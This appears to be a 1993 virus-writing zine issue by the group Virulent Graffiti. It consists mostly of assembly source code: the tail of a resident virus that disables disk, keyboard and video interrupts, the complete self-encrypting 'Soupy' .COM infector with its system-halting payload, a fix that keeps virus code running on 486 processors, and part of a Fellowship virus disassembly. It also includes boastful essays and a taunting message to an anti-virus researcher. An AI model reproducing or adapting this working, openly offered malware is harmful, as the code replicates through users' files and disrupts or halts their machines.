cmp dl, 0Ah ; is date 10th
je dateisthe10th
cmp dl, 10h ; is date 16th
je dateisthe16th
jmp short datenogood
nop ; F!#K
dateisthe29th:
mov al, 13h ; disks
jmp short setvector
nop ; F!#K
dateisthe1st:
mov al, 16h ; keyboard
jmp short setvector
nop ; F!#K
dateisthe10th:
mov al, 0Dh ; fixed disk
jmp short setvector
nop ; F!#K
dateisthe16th:
mov al, 10h ; video
setvector:
push cs ; ds = cs
pop ds
mov dx, bigproblems - intovirus
int 6Dh
datenogood:
mov ax, 40h ; bios
mov ds, ax
mov ax, ds:[006Eh] ; clicks since 12AM
mov bx, ds:[006Ch]
push cs ; ds = cs
pop ds
mov si, 0017h ; keyboard status
mov cl, ds:[si]
cmp cl, 1 ; only right shift
je noactivate
; this here checks for approximately 3:10 to 3:15 vicinity
cmp ax, 0Fh ; timer hi = 0fh
jne noactivate
cmp bx, 2AA8h ; timer lo < 2AA8h
jb noactivate
cmp bx, 3774h ; timer lo > 3774h
ja noactivate
mov byte ptr [si], 1 ; right shift only
mov ax, 3509h ; get int 9 vector
int 21h
push es
push bx
pop dx
pop ds
mov ax, 256Ah ; int 6ah = int 9
int 21h
push cs
pop ds
mov dx, int_9_handler - intovirus ; set our int 9
mov ax, 2509h
int 21h
noactivate:
pop ds
pop es
pop si
pop di
pop dx
pop cx
pop bx
pop ax
cmp ah, 4Bh ; execute call?
je yeppersitsanexecute
gobackfromwhenceyoucame: ; return to int 21h
db 0EAh ; jmp far ptr
db 60h, 14h, 02fh, 02h ; old int 21h vector
returntoitall:
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp short gobackfromwhenceyoucame
okayreamit:
mov ax, 2524h ; set int 24h
mov si, old24 - intovirus
mov dx, cs:[si]
mov ds, cs:[si+2]
int 21h
push cs
pop ds
mov si, filetime - intovirus ; set file time
mov cx, [si]
mov dx, [si+2]
mov ax, 5701h
int 21h
mov ah, 3Eh ; close it up
int 21h
mov si, fileofs - intovirus ; load address
mov dx, cs:[si]
mov ds, cs:[si+2]
mov ax, 4301h ; set attribs back
mov si, attribs - intovirus
mov cl, cs:[si]
xor ch, ch
int 21h
jmp short returntoitall
yeppersitsanexecute:
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
mov ax, 4300h ; get attributes
int 21h
jc okayreamit ; bad file?
mov si, attribs - intovirus ; save attribs
mov cs:[si], cl
mov si, fileofs - intovirus ; save file address
mov cs:[si], dx
mov cs:[si+2], ds
mov ax, 3524h ; get int 24h vector
int 21h
mov si, old24 - intovirus ; save int 24h
mov cs:[si], bx
mov cs:[si+2], es
mov ax, 2524h ; set int 24h
push cs
pop ds
mov dx, bigproblems - intovirus
int 21h
mov si, fileofs - intovirus ; reload file addr
mov dx, cs:[si]
mov ds, cs:[si+2]
mov ax, 4301h ; set attributes
mov cx, 20h ; archive
int 21h
jc allpurposeerror ; catch criticals
mov ax, 3D02h ; open for write
int 21h
jc allpurposeerror ; more error checks
mov bx, ax ; F!#K
mov ax, 5700h ; get file time
int 21h
jc allpurposeerror ; more error checks!
mov si, filetime - intovirus ; save file time
push cs
pop ds
mov [si], cx
mov [si+2], dx
mov ah, 3Fh ; read 2 bytes into
mov cx, 2
mov dx, (furtherintovirus + 4) - intovirus ; buffer
int 21h
jc allpurposeerror ; damn these checks!
mov si, (buffa2 - 2) - intovirus
cmp word ptr [si], 5A4Dh ; misnamed exe ?!?
je allpurposeerror ; fuckin' checks
mov ah, 3Fh ; read 1 byte into
mov cx, 1
mov dx, (furtherintovirus + 10) - intovirus ; buffer
int 21h
jc allpurposeerror ; !!!
mov ax, 4202h ; LSeek end
xor cx, cx
xor dx, dx
int 21h
jc allpurposeerror ; AARRRGGGHHH!!!
cmp dx, 0 ; if size > 65535
jg allpurposeerror
cmp ax, 4 ; if size < 4
jb allpurposeerror
cmp ax, 0FBF0h ; if size > 64496
ja allpurposeerror
mov si, sizestore - intovirus ; save size
mov [si], ax
mov cx, ax ; size in cx
sub ax, 3 ; mod for jmp near
mov si, (jumpnear + 1) - intovirus ; save size - 3
mov [si], ax
add cx, 100h ; size + 100h
mov si, (modme1 + 1) - intovirus
mov [si], cx ; modify first delta
add cx, 151h ; size + 251h
mov si, (modme2 + 1) - intovirus
mov [si], cx ; modify 2nd delta
jmp short continueinfect
nop ; F!#K
allpurposeerror:
jmp okayreamit
continueinfect:
mov ax, 4200h ; LSeek from start
xor cx, cx ; Size - 2
mov si, sizestore - intovirus
mov dx, [si]
sub dx, 2
int 21h
mov ah, 3Fh ; read 2 bytes
mov cx, 2
mov dx, saved2 - intovirus
int 21h
mov si, saved2 - intovirus ; load saved 2
mov ax, [si]
cmp ax, 2206h ; infected?
je allpurposeerror
mov ax, 4200h ; LSeek start
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ; write jmp near
mov cx, 3
mov dx, jumpnear - intovirus
int 21h
mov ax, 4202h ; LSeek end
xor cx, cx
xor dx, dx
int 21h
mov si, what - intovirus ; inc counter
inc word ptr [si]
mov si, what2 - intovirus
push word ptr [si]
mov word ptr [si], 0
mov ah, 40h ; write file
mov dx, intovirus - intovirus ; duh!
mov cx, endofvirus - intovirus
int 21h
mov si, what - intovirus ; dec counter
dec word ptr [si]
pop ax ; pop off other valu
inc ax
mov si, what2 - intovirus ; save other valu
mov [si], ax
jmp okayreamit
bigproblems:
xor al,al ; a little xtreme?!?
iret
int_9_handler:
push ax
push ds
mov ax, 0040h ; bios
mov ds, ax
mov ah, byte ptr ds:[006ch] ; clicks afta 12 AM
cmp ah, 17h ; past time?
ja itsal
lover
and ah, 6
or ds:[0017h], ah ; fuck that flag!!!
itsallover:
pop ds
pop ax
int 6ah
iret
db 06h, '"'
endofvirus:
end start
===========================================================================
I saw no need to write a stand-alone demonstration for this rather
unflattering virus, as it displays nothing, and only disables device
access and fucks with the keyboard...
======================
Soupy Virus Source
By The Attitude Adjuster
and
AccuPunk
======================
With the release of this virus marks the absolute end for all
boring direct-action COM infectors from Virulent Graffiti... if some pop
up in the future, bearing our name, and do not have revolutionary or
funny activation stages, they are NOT from us...
Anyway, I am at a loss as to why I should use anything but the DOC
I wrote for this, but, here's what Patti says, and what I say, you compare
and contrast who does it better!
==========================================================================
Virus Name: Soupy
Aliases:
V Status: New
Discovered: January, 1993
Symptoms: .COM file growth; TSR; message; system hangs
Origin: United States
Eff Length: 1,072 Bytes
Type Code: PRC - Parasitic Resident .COM Infector
Detection Method: Novi 1.15a+, CPAV/N
Removal Instructions: Delete infected files
General Comments:
The Soupy virus was submitted in January, 1993, and is from the
United States. Soupy is a non-resident, direct action infector
of .COM programs, but not COMMAND.COM. In the case of advanced
infections, it may install a portion of itself memory resident in
order to facilitate the activation mechanism in the virus.
When a program infected with the Soupy virus is executed, the
Soupy virus will infect one .COM file located in the current
directory, as well as update a counter within the viral code.
Programs infected with the Soupy virus will have a file length
increase of 1,072 bytes with the virus being located at the end
of the file. The program's date and time in the DOS disk directory
listing will not be altered.
The Soupy virus activates once the counter within the viral code
has reached 11, indicating the 11th generation of the virus has
been reached. At this time, the virus will install a portion of
itself in memory of 736 bytes, hooking interrupt 08. Once the
memory resident portion of the virus has been installed, it will
display the following messages one at a time every three minutes:
"Unsuspecting user, 12 o'clock!"
"Get ready... 'cause... THERE'S A VIRUS IN YOUR SOUP!"
"From the guys that brought you Lythyum, Radyum, and
VioLite comes:"
"The Soupy Virus, (k) 1992 VG Enterprises,
216/513/602/904/703"
"By The Attitude Adjuster & AccuPunk!"
"Hurry! Hire an Anti-Virus Professional!
Increase Wallet Space!"
"...hmmm, ya' know, I think I''ll halt now..."
Once the last message above is displayed, the system will be
halted or hung. The above messages are encrypted within the
Soupy viral code, as are the following additional text strings:
"[Soupy] The Attitude Adjuster & AccuPunk,
VG 08/23/92 to 12/02/92"
"*.COM"
"Bad command or file name"
==========================================================================
...and now me...
==========================================================================
Virus Name: Soupy
Aliases: Virus in Your Soup
Author: The Attitude Adjuster & AccuPunk
Group: Virulent Graffiti
Scan ID:
V Status: Frozen to Death
Discovery: See, we were in this guy's disk box...
Symptoms: .COM files altered; Messages;
Orgin: West Bumblefuck, Ohio
Eff Length: 1073 Bytes
Res Length: 736 Bytes
Type Code: Parasitic Non-Resident .COM Infector
Detection Method:
Removal Instructions: Delete infected files
General Comments:
The Soupy virus is a self-encrypting direct action infector
of .COM programs. The virus, upon execution, will search the
current directory for an uninfected .COM program. If none
are found, the virus will restore the host file and continue
execution.
The Soupy virus mantains an infection counter. When this counter
reaches 11, the virus will check for a copy of itself in memory,
and if not found, make itself the owner of INT 8 and go
resident.
Approximately every 3 minutes, the virus will display the next
of 7 messages, finally causing the machine to do a dynamic
halt on the final message.
==========================================================================
And, just to get the story straight, I wrote all the resident
stuff out of boredom, and, the COM engine was what AccuPunk presented as
his coding example to join the group. I just optomized the code, and added
my residency, and I was ready to go...
This virus sucks... mainly because I didn't know enough back then,
but, that has all changed...
==========================================================================
; -] "Oh, waiter [- A virus to pay tribute to
; ==] [== Anti-Virus Professionals Everywhere!
; -] THERE'S [-
; ] [
; -] A [- Radyum's Little Son
; ==] [==
; -] VIRUS [-
; ] [ We like Bob Ross, but, we like
; -] IN MY [- ourselves a lot better.
; ==] [==
; -] SOUP!!!" [-
;
; An original virus by Accu-Punk and The Attitude Adjuster
; of Virulent Graffiti (216/914/513/602)
; Greetz: Mom, My Modem, Accu-Punk, The Attitude Adjuster,
; The Fly, Casper, Chief, Mercury, any other VG Member.
.model tiny
.code ; code segment, tiny model -- CS = DS = ES = SS
ComStart EQU 100h
org 100h ; generate .COM file
entry:
db 0e9h, 00, 00 ; Jmp decrypt
decrypt:
mov si, offset start_code
mov cx, (offset end_code - offset start_code)/2
code_loop:
db 81h, 34h, 0, 0 ; xor word ptr [bx],0
lodsw
loop code_loop
start_code: ; get delta
call get_delta
get_delta:
pop bp
sub bp, offset get_delta
xor ax, ax
mov ds, ax
les ax, ds:[24h*4] ; Load Int 24 Entry
mov word ptr Cs:[offset I_24+2+bp], es ; Save it
mov word ptr Cs:[offset I_24+bp], ax
lea dx, Cs:[offset int_24h_entry+bp] ; Place new one
mov word ptr ds:[24h*4], dx
mov word ptr ds:[92h], cs
push cs
push cs
pop ds
pop es
cld ; Restore COM
mov cx, 3
mov di, 100h
lea si, [bp+first_3]
rep movsb
lea dx, [bp+newDTA] ; Set Up New DTA
mov ah, 1ah
int 21h
lea dx, [bp+com_mask] ; Find First *.COM
mov ah, 4eh
find_loop:
mov cx, 7
int 21h
jc done_infecting ; If Error, Exit
mov ax, 3d00h ; Open File for Read
lea dx, [bp+newDTA+1Eh]
int 21h
jc find_next ; Find another
xchg ax, bx ; Handle in BX
mov ah, 3fh ; Read File
mov cx, 3
lea dx, [bp+buffer]
int 21h
mov ah, 3eh
int 21h
cmp word ptr [bp+newDTA+1Eh], 'OC' ; Command.Com?
je find_next
cmp word ptr [bp+newDTA+1Ah], (65535-(heap_end - start_code))
ja find_next ; too big
cmp word ptr [bp+newDTA+1Ah], 300h
jb find_next ; too little bitty
mov ax, word ptr [bp+newDTA+1Ah]
push ax
sub ax, (end_code - decrypt) + 3 ; correct JMP
cmp ax, word ptr [bp+buffer+1]
je find_next ; not to end!
jmp infect
find_next:
mov ah, 4fh
jmp find_loop
done_infecting:
mov ah, 1ah
mov dx, 0080h
int 21h ; set up old DTA
pop ax
xor ax,ax
push ax
pop ds
les ax, ds:[08h*4]
push cs
pop ds
mov word ptr [Old08+Bp], Ax
mov word ptr [Old08+2+Bp], Es
add ax, ((GetOut-1)-Int_08_Handler)
mov bx, ax
cmp word ptr Es:[Bx], 0EA58h
je quit
push cs
pop es
cmp byte ptr [Counter+Bp], 0ah
jle quit
lea Si, [Offset Int_08_Handler+Bp] ; copy us
mov Di, 0100h
mov Cx, Offset End_Handler-Offset Int_08_Handler
rep MovSb
xor ax, ax ; interrupt table
mov ds, ax
cli
mov ax, 100h
mov word ptr Ds:[08h*4], ax
mov word ptr Ds:[08h*4+2], cs
sti
push cs
pop ds
push cs
mov ah, 49h ; Deallocate Env.
mov bx, word ptr cs:[02ch]
mov es, bx
int 21h
pop es
Mov ah, 9
Lea dx, [Offset Bullshit+Bp]
Int 21h
Mov Ax, 3100h
mov Dx, (((Offset End_Handler-Offset Int_08_Handler)+100h) / 16) + 1
Int 21h
Int 20h
Quit:
xor ax, ax
mov ds, ax
mov bx, word ptr Cs:[offset I_24+bp]
mov es, word ptr Cs:[offset I_24+2+bp]
mov word ptr ds:[24h*4], bx ; Restore int 24h
mov word ptr ds:[24h*4+2], es
push cs
push cs
pop ds
pop es
mov dx, 100h ; We Are Done!
jmp dx
infect:
cld
lea si, [bp+buffer]
lea di, [bp+first_3]
push si
mov cx, 3
rep movsb ; save original first three bytes
pop di ; now we write to the buffer...
mov al, 0e9h ; change first three bytes of target file
stosb ; to jump to the end, which will be the
pop ax ; first byte of the viral code.
sub ax, 3 ; correct for the jump opcode size
stosw ; and put the displacement at [DI].
xor cx, cx
lea dx, [bp+newDTA+1Eh]
mov ax, 4301h ; set attributes to nothing
int 21h
mov ah, 3dh
mov al, 2 ; read/write
int 21h
xchg ax,bx ; ok, we're gonna be boring and use XCHG
mov ah, 40h ; bx = filehandle
mov cx, 3
lea dx, [bp+buffer]
int 21h ; write 3 bytes at buffer to file
mov ax, 4202h ; LSEEK from end of file
xor cx, cx ; seek 0 bytes from end
xor dx, dx ; set up for copying the virus
int 21h
push bx
get_new_code: ; get new encryption word
mov bx, 40h
mov es, bx
mov bx, 6Ch
mov dx, word ptr es:[bx] ; dx = encryption_word
or dx, dx ; dx == 0? (no effect)
jz get_new_code ; nah, get a new one
mov word ptr [bp+code_loop+2], dx
pop bx
push cs
pop es
copy_code:
cld
push ax
lea di, [bp+temp]
mov al, 53h ; push bx
stosb
lea si, [bp+decrypt]
mov cx, start_code-decrypt ; copy the code unaltered first
push si
push cx
rep movsb ; copy decrypt
lea si, [bp+write]
mov cx, end_write-write
rep movsb ; copy write
pop cx
pop si
rep movsb ; copy decrypt again
mov ax, 0C35Bh ; POP BX, retn
stosw
pop ax ; ax = filesize
patch_bx_offset:
mov dx, word ptr [bp+decrypt+1] ; dx = offset start_code rel 100h
sub dx, bp
sub dx, 3
add dx, ax ; add filesize to offset
mov word ptr [bp+decrypt+1], dx ; patch it
inc byte ptr [bp+counter]
call temp
finish_infection:
mov ax, 5701h
mov cx, word ptr [bp+newDTA+16h] ; cx = file time
mov dx, word ptr [bp+newDTA+18h] ; dx = file date
int 21h
xor cx, cx
mov ax, 4301h
mov cl, byte ptr [bp+newDTA+15h] ; cl = attributes
lea dx, [bp+newDTA+1Eh]
int 21h
mov ah, 3eh
int 21h
jmp done_infecting
write:
pop bx
mov ah, 40h
mov cx, end_code - decrypt
lea dx, [bp+decrypt]
int 21h
push bx
end_write:
Int_24h_Entry Proc Far
Mov Ax, 3 ; Process Terminate
Iret ; Do a LOT, Eh?
EndP
Int_08_Handler Proc Far
Push Ax
Push Bx
Push Cx
Push Dx
Push Si
Push Di
Push Bp
Push Es
Push Ds
Dec Word Ptr Cs:[TCounter]
Jz Do_It
LeaveRite:
Pop Ds
Pop Es
Pop Bp
Pop Di
Pop Si
Pop Dx
Pop Cx
Pop Bx
Pop Ax
GetOut:
Db 0eah ; JMP Far PTR
Old08 Dd ?
_Iet Db 1
_Counter Dw 1092
Do_It:
Push Cs
Push Cs
Pop Es
Pop Ds
Mov Word Ptr Cs:[TCounter], 1092
Mov Si, Start_Chain
Xor Cx, Cx
Mov Cl, Byte Ptr Cs:[Iet]
Xor Ax, Ax
Chain_Loop:
LodSb
Add Si, Ax
Loop Chain_Loop
LodSb
Xor Cx, Cx
Mov Cl, Al
XChg Bp, Si
Mov Ah, 0fh
Int 10h
Mov Ax, 1300h
Mov Bx, 000Fh
Xor Dx, Dx
Int 10h
Inc Byte Ptr Cs:[Iet]
Mov Cx, 50
C2:
Push Cx
Mov Cx, 0ffffh
RP:
Loop RP
Pop Cx
Loop C2
Cmp Byte Ptr Cs:[Iet], 8
Je Quonto
Jmp LeaveRite
Quonto:
Cli
Jmp $
EndP
_Start_Chain:
db 0
db 30, 'Unsuspecting user, 12 o''clock!'
db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!'
db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:'
db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703'
db 36, 'By The Attitude Adjuster & AccuPunk!'
db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!'
db 43, '...hmmm, ya'' know, I think I''ll halt now...'
_End_Chain:
Start_Chain = (_Start_Chain - Int_08_Handler) + 100h
End_Chain = (_End_Chain - Int_08_Handler) + 100h
Iet = (_Iet - Int_08_Handler) + 100h
TCounter = (_Counter - Int_08_Handler) +100h
End_Handler:
; DATA SPACE
name_date db 00,'[Soupy] The Attitude Adjuster & AccuPunk, VG',00
db '08/23/92 to 12/02/92',00
first_3 db 0CDh, 20h, 90h ; put return to dos opcodes at 100h
com_mask db '*.COM',0
counter db 0
BullShit db 'Bad command or file name',0dh,0ah,'$'
end_code = $ ; end of encryption and writing...
buffer db 3 dup (?)
newDTA db 50 dup (?)
I_24 dd ?
temp: db ((start_code - decrypt)*2 + (end_write-write) + 5) dup (?)
heap_end = $ ; marks end of heap
end entry
==========================================================================
; Very shitty and hurredly written stand alone demonstration for the Soupy
; virus, By The Attitude Adjuster.
; Assemble with:
; tasm sbomb /m2
; tlink sbomb /t
; Wait for the messages! No delays have been removed!
.model tiny
.code
org 100h
entry:
mov ax, 3508h
int 21h
mov word ptr [Old08], Bx
mov word ptr [Old08+2], Es
add ax, ((GetOut-1)-Int_08_Handler)
mov bx, ax
cmp word ptr Es:[Bx], 0EA58h
je quit
push cs
pop es
mov dx, offset Int_08_Handler
mov ax, 2508h
int 21h
Mov ah, 9
Lea dx, [Offset Bullshit+Bp]
Int 21h
mov Dx, Offset Heap_End
Int 27h
Quit:
Int 20h
Int_08_Handler Proc Far
Push Ax
Push Bx
Push Cx
Push Dx
Push Si
Push Di
Push Bp
Push Es
Push Ds
Dec Word Ptr Cs:[Counter]
Jz Do_It
LeaveRite:
Pop Ds
Pop Es
Pop Bp
Pop Di
Pop Si
Pop Dx
Pop Cx
Pop Bx
Pop Ax
GetOut:
Db 0eah ; JMP Far PTR
Old08 Dd ?
Iet Db 1
Counter Dw 1092
Do_It:
Push Cs
Push Cs
Pop Es
Pop Ds
Mov Word Ptr Cs:[Counter], 1092
Mov Si, Offset Start_Chain
Xor Cx, Cx
Mov Cl, Byte Ptr Cs:[Iet]
Xor Ax, Ax
Chain_Loop:
LodSb
Add Si, Ax
Loop Chain_Loop
LodSb
Xor Cx, Cx
Mov Cl, Al
XChg Bp, Si
Mov Ah, 0fh
Int 10h
Mov Ax, 1300h
Mov Bx, 000Fh
Xor Dx, Dx
Int 10h
Inc Byte Ptr Cs:[Iet]
Mov Cx, 50
C2:
Push Cx
Mov Cx, 0ffffh
RP:
Loop RP
Pop Cx
Loop C2
Cmp Byte Ptr Cs:[Iet], 8
Je Quonto
Jmp LeaveRite
Quonto:
Cli
Jmp $
EndP
Start_Chain:
db 0
db 30, 'Unsuspecting user, 12 o''clock!'
db 52, 'Get ready... ''cause... THERE''S A VIRUS IN YOUR SOUP!'
db 66, 'From the guys that brought you Lythyum, Radyum, and VioLite comes:'
db 61, 'The Soupy Virus, (k) 1992 VG Enterprises, 216/513/602/914/703'
db 36, 'By The Attitude Adjuster & AccuPunk!'
db 62, 'Hurry! Hire an Anti-Virus Professional! Increase Wallet Space!'
db 43, '...hmmm, ya'' know, I think I''ll halt now...'
End_Chain:
End_Handler:
BullShit db 'Bad command or file name',0dh,0ah,'$'
end_code = $ ; end of encryption and writing...
heap_end = $ ; marks end of heap
end entry
==========================================================================
=======================
Rapidly Approaching
By The Attitude Adjuster
=======================
Virulent Graffiti is rapidly approaching 1 year of life, amazing
that we could hold together that long, eh? We actually survived the summer,
the return of the school year... the fact that we were doing nothing, and
an abrupt name change, VG to VGVPO.
Actually, I am approaching the 1 year mark on learning 80x86
assembly... quite strange, a year later, to look back that the total shit
code that I was doing in WASM, and to see some of the things I was doing,
and actually calling viruses!
On the personal level, I am quite happy with myself, and greatful
of the people like the Dark Avenger, Dark Angel, and others that have the
know-how and desire to help teach the world about virus writing. I am
amazed at the progress that I have made myself, both in virus writing, and
in programming in general... and especially that I have the highest poster
status on Digital Warfare Private (at least, when I wrote this...)
On the group level, I feel deflated, but good... an idea that was
pushed onto me by The Fly, on March 14th, 1992, becoming the semi-large
thing that it has become today... really nice, if you ask me, but, then
again, who does...
Now comes the question of what I'm going to do this year... We have
lots of things waiting in the wings for that little extra push to get them
going... a sub-stealth virus, a multipartite virus, and a little code
generator (not for generating viruses, but, for generating dazzingly boring
encryption and decryption routines, without actaully being a polymorphing
engine!)... hopefully, little side projects I have, like loaders, sound
routines, and such will fall into place, and we can grab a little ground in
the demo-group world as well...
Big ideas for a kid from a small town in Ohio, eh? Maybe... maybe
not... Certainly, in Telcom, no one is there to ask my age, or for my
college degree... all I need to do is whip out a little code, throw the
reputation around a little... wire them a couple hund- err, you get what I
mean... It's all open to us, sounds fun, eh?
Damn straight it is...
========================
The Confusion Ended?
By The Attitude Adjuster
========================
In the end, we decided it would better if we began releasing our
research viruses to anti-virus professionals (bah!). I called Patricia
Hoffman's board, cringing at the thought of... Wildcat! (it just isn't
right without the !). I construct an account, promptly forgetting the
password I assigned to it, and, uploaded our old and useless COM infectors.
After the gloriously short upload (9600 is great...), I left Patti
this little letter...
===========================================================================
From : T.A. ADJUSTER Number : 52 of 59
To : PATRICIA HOFFMAN Date : 01/17/93 6:01pm
Subject : Uploads Reference : NONE
Read : 01/18/93 12:11pm (REPLIES) Private : NO
Conf : 002 - Virus Q & A (Open Msgs)
I have uploaded to you some OLD VG viruses, as we are now doing TSR
COM/EXE infectors. Hopefully, when we move on to boot infectors, we
will remember to upload those here as well.
In the meantime, please send these to whoever does research work for
you, as I'm sure it can't be you, I mean, you don't even know your own
name.
Anyway, they all have DOC files with them, that are totally correct,
though I may have 'forgot' and left out a couple of features. None of
these viruses are intentionally distructive, just loads and loads of
fun.
Anyway, if you want to be the index of ALL viruses, you better move to
place these in the index, as they are on our support boards, and can be
downloaded and placed active by anyone, though we as a group will not
release viruses into the wild.
I thought I had an account on here earlier. Yeesh, I hope you didn't
delete it... anyway, I'd like to ask that you keep my account live, as
I enjoy downloading your fine VSUM publication. VG is too poor to
afford to register it, however. Could we get, maybe, a charity
subscription?
The Attitude Adjuster
===========================================================================
So... a few days later, I note this reply, when I log in to see if
the new VSUM is out yet...
===========================================================================
From : PATRICIA HOFFMAN Number : 54 of 59
To : T.A. ADJUSTER Date : 01/18/93 12:15pm
Subject : Uploads Reference : 52
Read : NO Private : NO
Conf : 002 - Virus Q & A (Open Msgs)
Well, the only time I don't know my own name is when someone calls the
wrong "Patricia Hoffman" because they got the phone number from
Information or the phone book. My home phone number is unlisted, but
there are a couple of other Patricia Hoffman's in Silicon Valley as
well. If you are referring to a certain conference call of about 9-10
months ago when 13 or so young men tried to contact me, they called the
WRONG Patricia Hoffman..... I was at home reading a novel, and didn't
know about the call until McAfee called and asked why I didn't speak to
the "young men".
===========================================================================
Well... interesting... the truth? Who knows... I'd kind of like to
talk to her, regardless... I just have nothing that dials alliance, and I
really would like to share the experience with others...
===============================
'Shit... What's wrong NOW!'
By The Attitude Adjuster
===============================
(Written in early January, pre-VioLite ][ and DWI release.)
So, AccuPunk and I are hard at work, coding litle bits of drivel,
and our two main projects, DWI and VioLite ][. For some strange reason,
these viruses refused to work. We spent many hours in our protected-mode
debuggers tracking down the cause, but, it was finally my genius, and a
little work in DOS Debug that saved the day.
The virus engines worked fine, the resident code in DWI being
okay, and the file-location code in VioLite2 being dandy. When traced thru
in both SoftIce and Debug, the viruses would work, but, yet, when ran from
a command line, or let loose with a Go instruction, my machine would crash
a horrible GPF death, while AccuPunk's would not. He has a 386DX, I have
a new 486SX, this is the key.
Here is the root of the problem.
===========================================================================
Taken from 'An Introduction to Non-Overwriting Virii,' 40Hex-8
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+jmpsave+2],ax
add ax,word ptr cs:[si+stacksave+2]
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
===========================================================================
We were using this clip of DA code, mainly because it was the Right
Thing, and why try and improve on perfection. Alas, this code is the root
of all the problems.
I assemble the following code:
===========================================================================
.model tiny
.code
org 100h
start:
mov byte ptr [start], 0cch ; place int 3 at 100h
mov ax, cs ; codeseg in ax
add word ptr [JumpAdd+2], ax ; add to jmp far ptr
db 0eah
JumpAdd dd 00000100h ; cs:0100
end start
===========================================================================
It crashes miserably on my machine, but not on my 8086. I now know
why. Hurredly, I recoded the thing to look like this:
===========================================================================
.model tiny
.code
org 100h
start:
mov byte ptr [start], 0cch ; place int 3 at 100h
mov ax, cs ; codeseg in ax
add word ptr [JumpAdd+2], ax ; add to jmp far ptr
jmp short aftajump
PreJump:
db 0eah
JumpAdd dd 00000100h ; cs:0100
AftaJump:
jmp short prejump
end start
===========================================================================
This time, the code works, I have my cuprit, my processor, and it's
blasted 25 byte prefetch.
Let me explain. When we affected the JMP FAR offset in memory, we
did not affect it in the processor, which pre-fetches the next 25 bytes in
memory. The JMP around the code causes the prefetch to be reloaded, and
allows the jump to work.
So, this means, an entire group of viruses will not work on newer hi
end machines. I tested this, all viruses I ran that had the DA engine in
them crashed and burned on every 486 that I tested them on. Any 80486 that
is exactly Intel specs (and they all will be for a while, as only Intel is
making them) will crash on this code.
The solution? Here's mine, it may not be pretty, but, it works.
===========================================================================
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[si+stacksave+2], ax
cli ; Clear intrpts for stack manip.
mov sp,word ptr cs:[si+stacksave]
mov ss,ax
sti
mov bx, word ptr cs:[si+jmpsave]
add bx, ax
push bx
mov bx, word ptr cs:[si+jmpsave+2]
add bx, ax
push bx
retf
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 dd 0fff00000h ; Needed for carrier file
stacksave2 dd ?
===========================================================================
This is the final code we put into DWI and VioLite2. Not pretty, but
the damn thing works. With no self-modifying code that relies on the
prefetch, there isn't an easy way for this to crash...
======================================
Disassembly of the Fellowship Virus
By The Attitude Adjuster
======================================
Well, I thought that I should just continue disassembling whatever
I could find, as part of that 'keeping up my skills.' I found this,
decided that it was a piece of uneventful and thouroghly boring, and none
the more bug free code, and decided that you should have it...
It seems to have a semi-unique way of organization during the
memory residency... the loading of the host again, etc... also, there is
a tiny bit of debugger resistance, but, this tactic could be expanded
upon to create huge amounts of hell for non-protected mode debuggers.
Really, this thing shouldn't work... if it follows theory, it
should eat all available handles on the system after a few (more for us
with higher FILES= settings) infections...
This is what Patti says... notice, this is an EXE infector, yet one
of the symptoms is COM growth! Wild... I never found that subroutine while
I was disassembling...
==========================================================================
Virus Name: Fellowship
Aliases: 1022, Better World, Fellow
V Status: Rare
Discovered: July, 1990
Isolated: Australia
Symptoms: TSR; .COM & .EXE file growth
Origin: Malaysia
Eff Length: 1,019 - 1,027 Bytes
Type Code: PRsE - Parasitic Resident .EXE Infector
Detection Method: ViruScan, F-Prot, NAV, IBM Scan, AVTK, Novi, Sweep,
CPAV, UTScan, VirexPC, Gobbler2, VBuster, AllSafe,
ViruSafe, UTScan, Trend, Iris, VNet, Panda, VET,
Detect+, IBMAV, DrVirus, Vi-Spy,
NShld, LProt, CPAV/N, Sweep/N
Removal Instructions: CleanUp, F-Prot, NAV, or delete infected files
General Comments:
The Fellowship or 1022 virus was isolated in Australia in July 1990.
Fellowship is a memory resident generic infector of .EXE files. It
does not infect .COM or overlay files.
The first time a program infected with the Fellowship virus is
executed, the virus will install itself memory resident as a 2,048
byte TSR in low system memory. Available free memory will be
decreased by a corresponding 2,048 bytes. Interrupt 21 will also
now be controlled by the virus.
After the virus is memory resident, the virus will infect .EXE files
when they are executed. Infected .EXE files will increase in size
by between 1,019 and 1,027 bytes. The virus's code will be located
at the end of infected files.
Infected files will contain the following text strings very close to
the end of the file:
"This message is dedicated to
all fellow PC users on Earth
Toward A Better Tomorrow
And A Better Place To Live In"
"03/03/90 KV KL MAL"
This virus is believed to have originated in Kuala Lumpur, Malaysia.
==========================================================================
; Disassembly of the Fellowship Virus, done by The Attitude Adjuster for
; Infectious Diseases Issue 3.
; For a byte-for-byte matchup, assemble as follows:
; tasm fellow /m2
; tlink fellow
.model tiny
.code
org 000h
start:
mov ax, 0D000h ; RUTHERE call
int 21h
cmp bx, 1234h
jne installvirus ; if not...
mov bx, es
add bx, 10h ; account for PSP
add word ptr cs:[oldcsip+2], bx ; add to CS
jmp dword ptr cs:[oldcsip] ; get there...
ninthflag db 0
paramblock: ; need defs? get a
envsegment dw 0CE4h ; DOS manual...
cmdlineoffset db 80h, 00h
cmdlinesegment dw 12C9h
fcb1offset db 5Ch, 00h
fcb1segment dw 12C9h
fcb2offset db 6Ch, 00h
fcb2segment dw 12C9h
loadpoint dw 0
oldcsip dd 0FFF00000h
installvirus:
cld ; !!!
cli
push es
mov bx, es
add bx, 10h ; account for PSP
mov es, bx ; ES = 1st EXE Seg
xor bx, bx
mov ds, bx ; DS = 0000
push word ptr ds:[0000] ; save ssi vector
push word ptr ds:[0002] ; save ssi vector
mov word ptr ds:[0000], 0A5F3h ; set ssi vector
